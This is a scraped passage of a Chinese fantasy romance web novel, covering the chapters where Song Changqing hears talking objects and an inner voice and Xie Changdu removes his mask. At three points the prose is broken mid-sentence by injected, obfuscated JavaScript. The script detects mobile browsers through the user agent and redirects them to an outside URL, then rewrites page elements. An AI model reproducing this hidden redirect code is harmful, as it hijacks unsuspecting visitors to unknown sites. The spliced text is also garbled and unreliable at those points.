谢长渡却道:“他说要学如何把你气走。” 宿禾猛地回头看向自己这个相处了百余年的好友: “谢长渡!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176446|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢长渡却神色平淡:“天规有令,不可妄言。” 宿禾顶着宋常卿仿佛下一秒就要将他剁碎扔去喂狗的视线,真想掰开谢长渡的脑袋看看里面除了天庭那些又臭又长的律法条例还剩什么。 但现在宋常卿还在边上看着,显然时机不佳,宿禾捻了捻衣角忽然一拍脑袋: “瞧我这记性,还有几大摞文书没批呢,小天君你先同掌司聊着,我先回去批文书了啊。” 一边说着一边起身朝外走,嘴里还念念叨叨着: “文仙们都还等着呢,得快些批完,不然今晚是别想睡觉了。” 出了院子宋常卿都没有跟上来的迹象,宿禾才总算松了口气: “幸好小爷机智,哼哼。” 他昂着头心情舒畅的朝自己院子走去,谁知脚腕上一紧,不等他反应整个人便被倒吊在半空中。 “啊啊啊!!!” 宋常卿无视窗外传来的叫喊声,红色的长鞭缩回袖中,他抬手点了点桌面: “掌司大人看到我回来就这反应?也太平淡了点吧?” 谢长渡这才开口:“……还好么?” “什么?” “你的身体,”谢长渡重复道,“恢复得如何了?” “没什么大事儿。” 宋常卿占据了宿禾的位置,窝在躺椅里伸了个懒腰:“犯了点小病,睡一觉,已经好得差不多了了。” 谢长渡抿抿唇:“……你知道你这一觉睡了多久么?” 宋常卿想了想:“三日?四日?应当不超过六日吧。” 他每次心症发作后,最多也就昏睡个四五日。 谢长渡道:“十日。” 小武仙们都快找疯了,还是文昌帝君来了一趟,他们才没跑文昌殿去要人。 宋常卿愣了一下:“我睡了那么久?” 谢长渡点头。 宋常卿舌尖顶了顶后槽牙,半晌才道:“十日就十日吧,反正也死不了。” 谢长渡不是很赞同他这种拿身体当儿戏的想法: “小天君还是去药王那看看吧,好歹抓些药回来,昏睡十日不算小事。” 就算是神仙,也无法保证假以时日会不会一睡不起。 宋常卿一听他提药王就不住摇头: “不去不去,那老头嘴碎又多事,没病也硬要给你说出点病来,找他抓药,和去凡间的药铺进货有什么区别?” “更何况我这是心症,吃再多药都无济于事,能治也早治了。” 谢长渡想了想,从袖中掏出一串菩提子来,用手掌托着送至宋常卿面前: “既是心症,小天君便拿着这个吧。” 浅褐色的菩提子泛着浅浅的金光,穿着条浅色苏子,虽有颗菩提子不知怎么光泽稍黯淡了些,但一看便知不是寻常物件。 宋常卿挑了挑眉:“这东西可不好得,你确定就这么给我了?” 谢长渡难得笑了笑,道: “再贵重的东西,不在需要它的人手中,也不过是个观赏的物件儿罢了,菩提子可凝神静气,小天君拿着,自然比在我手中冷落要好。” “你这么说,我可就不客气了。” 宋常卿弯了弯眼,抬手去取谢长渡手中的菩提子,指尖不可避免的碰到了他的掌心。 脑中突然响起一个声音: “幸好……你回来了。” 14. 摘面具 这声音出现得太过突兀,哪怕夹杂在耳边连成一片的吵闹声中,也听起来异常清晰,宋常卿指尖微不可察的顿了顿,抬首望向谢长渡: “……你说什么?” 谢长渡依旧眸光淡淡,似乎有些不解的低应一声:“嗯?” “无事。” 宋常卿将手收回来,一手把玩着菩提子,另一手抬起揉了揉额角: “许是听错了吧。” 那声音和谢长渡的过于相像,没准真是听岔了。 谢长渡未曾多想,点点头,另拿了个茶杯给他倒好茶放在手边,又提起笔继续批文书。 这会儿外头的天已经暗了,宋常卿刚睡了十日正是精神的时候,又没事干,索性赖在这蹭茶,顺便接手了宿禾没磕完的那盘瓜子,边磕边听书房里这些物件儿唠嗑。 另一只手也不闲着,有一搭没一搭盘着手里的菩提子。 谢长渡给的这串菩提子果真不是凡物,入手温润,宋常卿在手中盘了没多久,脑中那阵隐痛便似乎轻了不少,就连耳边连绵不绝的争吵声听着都不那么烦人了。 那一帮笔墨纸砚自宋常卿出现的那一刻便喳喳喳吵起来了,现在都还在打着骂战: “美人儿脸都瘦了呢~指定病得不轻~姓谢的也太不会照顾人了!若不是我没法说话,高低得好好教训他几句!” “臭笔杆子老子说多少遍了别在这儿发骚!” “我呸!不解风情的破石头!姐姐我这叫风情懂不懂~” “喂喂!你俩消停点成吗?耳朵都要受不了了。” 一个稍显稚嫩的少年声音插进来。 狼毫笔和砚台异口同声:“你一墨锭子哪来的耳朵!” 少年有些委屈,闷声道:“我怎么就没耳朵了,你俩安分点好不好。” “你倒是让那破石头/臭笔杆子安分啊!” 三个家伙吵得有来有回,边上的烛台宣纸还都看热闹似的时不时插一嘴: “哎呀老砚你和小毫作什么对啊,她平日里什么样你还不清楚?” “墨儿你也是的,人小两口打情骂俏你上去凑什么热闹?” 砚台一下子便急了:“你们几个……满口胡言!谁同她是两口子!” 墨儿清脆的声音又插进来: “可你不是对她有意思吗?” 听到这,宋常卿不由得眯了眯眼睛,拿瓜子的动作都顺溜几分。 姓谢的这书房……还挺热闹啊。 这一出大戏放凡间话本里头,怎么也能写个八九十回了吧? 笔墨砚那边还在吵着,砚台不知是羞的还是气的,黑乎乎的身子在烛光照射下,似乎都泛了层红意: “屁……屁话!谁对她有意思!” 烛台听着是个青年人,喳喳说着: “你对她没意思,那为何每次小毫对着别人犯痴,你就偏要在边上酸两句?” “喝几缸子醋都没你酸。” “还说对人家没意思,小毫蘸两下墨就把整张黑脸都憋红的不是你了?” 砚台:“铁架子你再说一句?!” 这下烛台也来火了:“叫谁铁架子呢?你爷爷我是正儿八经纯金造的!掌司大人亲自去库房里选的最精巧最好看的!” 最后一句喊得险些破音,宋常卿忍不住揉了揉耳廓。 热闹虽热闹,但似乎……有些热闹过头了。 谢长渡一直瞧着宋常卿这边的动静,见他如此动作,出声问道: “怎么?” 宋常卿摆摆手,示意他不用管自己:“没事,你批你的文书。” 谢长渡见他坐姿闲散,不像是有事的样子,便帮他把壶里的茶添满,又变出盘蜜饯来放在宋常卿手边,低低应了一声: “好。” 谢长渡又垂头批起文书,宋常卿抿了口茶,继续听那几个家伙对骂。 “天天就知道掌司掌司~那姓谢的在你头上点的蜡还有迷魂的效果不成?” 狼毫笔咯咯调笑着,烛台却急眼了: “你这整天就晓得看着美人的脸犯痴的懂什么?掌司大人实力超群杀伐果断,哪一点不值得敬佩了?” 狼毫笔语调一变:“什么犯痴!美人生了那么一副好皮囊,我欣赏欣赏怎么了?” “哦——”烛台拖长了调子:“这就是你上次瞥见一眼掌司大人的脸,就念念叨叨半个多时辰的理由?” 狼毫笔坦然道:“这还用猜么?也不知姓谢的脑子里在想些什么,那么好看一张脸,偏要用张能吓哭小孩的丑面具遮起来~” 宋常卿听到这,有些诧异的看向谢长渡。 他也有摘面具的时候? 而且听起来,似乎长得还不错? 宋常卿目光落在谢长渡低垂着的眼和微抿的嘴角上,仔细打量着。 有面具遮着,眼睛看不太真切,但眼睫密而长,瞳若浅水,在烛光映照下偶尔掀起一丝波澜,双唇微微抿着,唇角似乎天生有一抹上勾的弧度,显得唇肉愈发饱满。 鼻梁高挺,下颌削直,下巴尖却稍有些圆,甚至显得有些像是个少年。 宋常卿无意识捻着耳朵上的坠子:若是去掉面具的遮挡,谢长渡的本来样貌……似乎没有天庭那帮人传的那般凶? 谢长渡一直分心注意着宋常卿,自然也发现他一直盯着自己瞧,提着笔的指尖来回捻动着,终于忍不住问道: “你在做什么?” 宋常卿脱口道:“在想你把那面具摘下来长什么样。” 说完宋常卿才反应过来他方才的话有些唐突了,见谢长渡久久没有反应,尴尬的轻咳两声,理理袖子,道: “咳咳……我就胡乱想想,你继续批文书。” 谢长渡捏着笔的指尖缩紧又松开,他犹疑着问道: “那……你要看吗?” 烛台:“掌司大人做什么!他难不成要摘面具?!” 宋常卿挑了挑眉梢:“我说要看,你便摘么?” 谢长渡点头。 烛台还在那尖声喊着:“不可以!掌司大人你怎能随意让别人看到你的真容?!!!” 宋常卿揉揉被震得发疼的耳廓,把嘴边那句“那倒不必”咽回去,改口道:“那你摘吧。” 谢长渡便抬起手覆在面具上,缓缓撤去上面的仙力枷锁,原本与皮肉紧密贴合的面具滑下,落在手心中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176447|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宋常卿便坐在一侧眼也不眨的瞧着他的动作,心中不知怎么,忽然升起一种自己像是在掀新娘子盖头的念头。 这念头刚冒出来便被他掐灭,宋常卿换了个姿势,又继续看。 面具被摘下,谢长渡的真容也在烛光映照下显露出来。 宋常卿突然明白谢长渡为何一直戴着面具不摘下了。 平心而论,他这张脸不可谓不好看,但就差在太过好看了,反倒失了威慑力。 先前有面具遮着,眼睛的形状看不大真切,现在面具被摘下,宋常卿便发现谢长渡的眼头略圆,眉若远山斜飞入鬓,鼻梁左侧山根处,还有颗不大显眼的小痣。 与其说英气,倒是更偏秀气几分。 他肤色又比常人更白几分,这么一看,倒有些凡间那帮文弱书生的味道。 谢长渡若顶着这么一张脸在外行走,怕是他把鬼王栓成一串拖在身后四处乱转,别人都以为他是瞎猫碰上死耗子,有高人相助。 宋常卿想到那个凶神恶煞,令天庭众仙避之不及的渡长君面具底下竟是这么一副无辜样貌,忽然有些忍不住想笑。 谢长渡摘下面具后便强装镇定的看向其它地方,只用眼角余光忐忑的看着宋常卿的反应,双唇抿了又抿,左手指尖下意识便要去盘手腕上的珠子,却落了个空。 宋常卿见他面上镇定,实际脊背僵直得堪比凌霄殿里那几根柱子,不由得调笑道:“这么好看的脸,成日里遮着,多可惜啊。” “渡长君你说是不是?” 谢长渡鲜少被人如此明目张胆的注视着,只感觉如坐针毡,又不好让宋常卿看出来,只能僵着脊背垂眸低低应了一声。 宋常卿盘腿坐在摇椅里,一手撑在膝盖上支着下颌,一手拨弄着手里那串菩提子,“嗒嗒”的轻响在房内回荡着。 谢长渡端坐在桌前,面上淡然,视线却左转右转,就是不同宋常卿对视。 宋常卿瞧着他这幅样子乐不可支: “渡长君老盯着地板看什么?脸都看不见了,劳烦抬下头我看得真切些。” 如此说着,他抬起一脚踏在地上,将身子朝谢长渡那边倾过去: “还是掌司大人被我这般看着,害羞了?” 谢长渡耳尖微红,平复好一会儿才开口:“小天君言重了。” 宋常卿终于忍不住大笑出声:“哈哈哈哈……天庭那帮老家伙估计想破了脑袋也不会料到,当年险些把他们吓破胆的冷面阎罗……哈哈哈……竟然是个看起来手无缚鸡之力的小书生哈哈哈哈……” 他笑得忍不住拍桌,耳朵上的坠子也随着动作一晃一晃。 谢长渡心中原本那点不知从何而来,微不可察的失望一下便烟消云散,他看着宋常卿肆意的笑颜,唇角也忍不住勾起: “嗯。” 宋常卿却忽然轻嘶一声:“等等。” 谢长渡被他那么一通笑,那股子害羞的劲过去了些,闻言便抬眸与宋常卿对视上: “怎么?” 两人目光交汇,宋常卿摩挲着下巴,怀疑的看着谢长渡: “你这面具戴了两百多年,我说摘你就摘?不会这模样也不是你的真容吧?” 15. 心中声 谢长渡听到宋常卿这猜想,愣了一下,扯扯唇角,有些无奈的说道: “我又不是见不得人,哪用做到如此地步。” 他顿了顿,又道: “何况在小天君面前,我也没有隐藏的必要。” 宋常卿想想也是,没再刨根究底,身子往后一仰又倒回躺椅里,一条腿支起来,在蜜饯盘子里挑挑拣拣半天,才拿起颗梅子塞进嘴里。 刚嚼了一口,立马被咸得眉头紧皱: “呸呸,什么味道,这是扔盐缸里腌的吗?准备咸死谁?” 谢长渡见他眉毛眼睛都皱成一团,忙起身提着茶壶倒了一满杯茶递到宋常卿面前: “是我疏忽了,忘记你和宿禾口味不同。” 宋常卿偏头把嘴里的梅子吐掉,就着谢长渡的手喝完了一整杯茶,嘴里还是咸得不行: “他这口味有几个消受得了?” 那梅子也不知道用什么法子腌的,入口咸甜,但一咬开,就如同嚼了一团粗盐一般,又咸又酸,过后又开始发涩。 那条臭蛇为什么喜欢吃这玩意儿暂且不提,反正宋常卿是完全受不了这味道。 谢长渡轻咳两下,没有应声,只是又给宋常卿倒了一杯茶递过去: “多喝两口,味道兴许能淡些。” 宋常卿接过去一饮而尽,这才把那股子咸味压下去,但嘴里还是一股怪味,忍不住吐了吐舌头,挡住谢长渡倒茶的手:“行了不用再倒了,再喝待会儿嘴里又发苦。” 谢长渡垂眸将他的所有动作都尽收眼底。 刚被茶水润过的唇在烛光照射下显得更加殷红,带着细碎的水光,舌尖扫过时饱满的唇肉随之下陷,张张合合间隐隐能看见皓白的牙齿。 他悄悄咬了咬下唇,忽然感觉有点口渴。 这念头只出现一瞬便被他强行压了下去。 宋常卿是玉帝托他照顾的人,天生尊贵,处世洒然而高不可攀,又怎容他有如此亵渎的想法。 谢长渡闭了闭眼,告诫着自己。 不止方才僭越的思绪,心中那点侥幸的,难以宣之于口的感情更该埋得死死的。 宋常卿见谢长渡呆在那儿不动,抬手戳上他肩头: “发什么呆呢?” 说着,他指尖打了两个圈,故意调笑道: “别是又看我看呆了吧,渡长君……” 话音未落,耳边那道神似谢长渡的声音再次响起: “他真好看。” “不行,不能看。” 宋常卿微微一怔,抬眼看了眼谢长渡,见他看着自己,似乎并没有察觉什么异样,试着把手从谢长渡肩头挪开。 那道声音骤然消失不见。 宋常卿又抬手戳上去: “他在干什么?” “他看我做什么,我脸上有东西?” 然后宋常卿就见谢长渡抬手不经意般抹了下脸。 宋常卿对骂声习以为常,听到这般直白的话反倒不知如何是好,他两颊微热,一时间想不清这事儿到底是算正常还是不正常。 应当……算正常吧? 那些死物都能说话了,听见个心声又有什么大不了的。 小天君平日里只听见别人骂他,骤然听见这么两道声音,心底不由得发虚,把手收回来,若无其事般换了个姿势,如此宽慰着自己。 等他在心里把自个儿给说服,抬眼一看,谢长渡还站在那,奇怪道: “你中定身咒了?” 谢长渡如梦初醒般抬手,抚平肩上宋常卿方才戳出的褶皱,指尖似是无意般从他刚刚触碰过的地方划过,声音有些微微的哑: “无事。” “突然想到些事情罢了。” 指腹下常年冰凉的皮肤被宋常卿点了两下,似乎燃起了一团火,自那一处随着血液流至四肢百骸,连带着心脏也跳得剧烈。 谢长渡悄悄吸了两口气,乱蹦的心跳这才缓缓平复下来。 宋常卿心不在焉的捻着右耳上坠着的珠子,闻言抬了抬眼梢:“什么事情能让掌司大人呆站这么半天,说来听听?” 谢长渡轻松一口气,将话题引开: “小天君还记得先前进来时,我同宿禾说的事么?” 宋常卿也想抓紧把刚才的事情揭过去,歪歪头,懒声道:“记不大真切了,我刚来就正巧听见那姓宿骂我呢,哪还有心思想别的?” 谢长渡道:“那我便同小天君解释一番?” 见宋常卿没有应声,却也没有异议,谢长渡便接着道: “入渡厄司,除挂名牌外,其实还有一道规矩,便是要由人领着到凡间亲手收一只鬼来,送入轮回之中。” 唯有见过世间芸芸众生如何自渡,方知何以渡己身,而后才知如何渡他人。 渡厄司历代掌司将其称作渡身路,只有走过了这一条路,才算得上是渡厄司的人。 而领着那人走渡身路的,便算是引路人,渡身路走过以后,两人便可定契,届时神魂之间将生出一道羁绊,功德同享,福祸相依。 本意是为了捉鬼降妖时能多一层保障,传到现在,则更像是一段珍重的仪式。 宋常卿挂着文仙的名头,又身为小天君,渡身路本该由宿禾亲自带着去,但谢长渡出于自己那点不可为外人道的私心,将这活儿给揽了下来。 宋常卿听谢长渡说完,夹杂着耳边笔墨砚们叽叽喳喳的议论,便大致明白了意思,有些不爽的皱了皱眉:“你们哪来的这么多事儿。” 谢长渡说话间已经将面具重新戴了回去,拂袖坐在宋常卿身侧: “这是历代掌司传下的规矩,我也不好轻易打破,渡身路并不算难走,只是还需小天君再随我下凡一趟。” 一听还要四处跑,宋常卿眉眼耷拉下来,有些不耐地揉着手中的菩提珠子,问道:“我上次不是抓了一只厉鬼吗,这也不行?” 谢长渡解释道:“那只厉鬼……先前已被人逼到了强弩之末,小天君算是渔翁得利,况且它身上蹊跷过多,陛下派了人出去查,但暂无回音,不能放入轮回。” 那只厉鬼既不能入轮回,宋常卿的渡身路自然也走不成,就算走成了,也是条残缺的。 宋常卿更不爽了:“鬼我抓了就成了,这第二回就不能不去?” 谢长渡抿了抿唇:“这……到底是历代掌司传下来的规矩。” 宋常卿了然点头:“哦,那就是不行。” 谢长渡道:“还请小天君见谅,规矩如此。” 宋常卿手背朝外,懒懒的挥了两下:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176448|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成天不是道歉就在那儿背规矩,烦不烦?去凡间走一趟,抓只鬼罢了,左右也用不了太长时间。” “就当是出去消遣了,什么时候能走?” 谢长渡见他似乎不算抗拒,便点点头,起身道: “天色晚了,不如小天君先回去歇息吧,若是着急的话,明日我们便可下界。” 而后又想到什么,补充道:“小天君先前带在身边的那两个仙侍也可一并带上,到时也省事些。” 宋常卿嘴里那股怪味这会儿散了些,又开始在蜜饯盘子里挑挑拣拣,闻言摇摇头,耳边的坠子随着他动作一齐晃荡: “明日下界就明日吧,我顺便去文昌殿把那两个接过来。” “你也不必管我,现在睡不着,我在这再赖一会儿,你批你的文书就是了。” 说着,他从盘子又掂起颗雕花梅球儿来,贴在唇边探出舌尖尝了尝味道,确定没方才那颗梅子那么难吃才放心塞入口中。 甜滋滋的味道在舌尖漫开,宋常卿满意的眯了眯眼,菩提串在手里有一搭没一搭的盘着,翘起脚慢悠悠晃着摇椅。 谢长渡唇角悄悄勾了勾,给宋常卿手边的茶杯添上茶,又把蜜饯盘子里的酸梅都收了,盖上一层雕花梅球和密金桔,才转身回去继续批桌上的文书。 *** 翌日。 茯苓麦冬左盼右盼,总算是盼到了小天君。 茯苓两眼汪汪,扑上去就想抱着宋常卿的大腿开始嚎,但对上宋常卿似笑非笑的眼,退而求其次揪住了他的袖口: “天君!天君你可算是想起我们了啊啊啊…………啊!” 头顶被狠狠敲了一记,茯苓捂着头顶控诉的看向宋常卿: “天君您就不能换个地方打吗,这样容易长不高的!” 宋常卿坏心思的伸手在她头顶狠狠揉了两把,原本梳顺的头发被捏成一团鸡窝,茯苓惊叫一声连忙躲开,麦冬只得无奈的拉住她,顺手在茯苓头顶又揉了一把: “别闹了,我们还有正事要做。” 茯苓抱着再次被揉乱头发的脑袋,气得跺脚:“麦冬姐!” 麦冬依旧笑得温和:“茯苓别闹。” 宋常卿“噗”一声笑出来,朝两人招了招手: “别墨迹,东西收拾好就走了。” 茯苓立马“嗒嗒”跑过去,一手叉腰,得意洋洋道: “放心吧天君!早就收拾好了!一件都没落下!不信您看!” 说着,她邀功一般甩了甩袖子,只听“砰砰”几声,几个快有人高,被塞得鼓鼓囊囊的袋子便堆在了一旁,像个小山丘一样。 宋常卿:“……你这是把文昌殿给搬空了?” “哪有?您看,这两袋是我和麦冬姐姐的衣裳,这两袋是些零碎东西,还有这一袋,是我先前在园子里摘的李子和桃儿,还有这袋……”茯苓一边说着一边指给宋常卿看。 宋常卿扯了扯嘴角:“你要不要把文昌殿的树也刨了拉走?” 茯苓忙摇头道:“那怎么行?” “园子里那些李树太娇贵了,我可伺候不来,再说又不是这一遭走了,往后就再不回来了。” 宋常卿长这么大头一回为一个人的脑子大小堪忧。 她往后还想再回来摘不成?!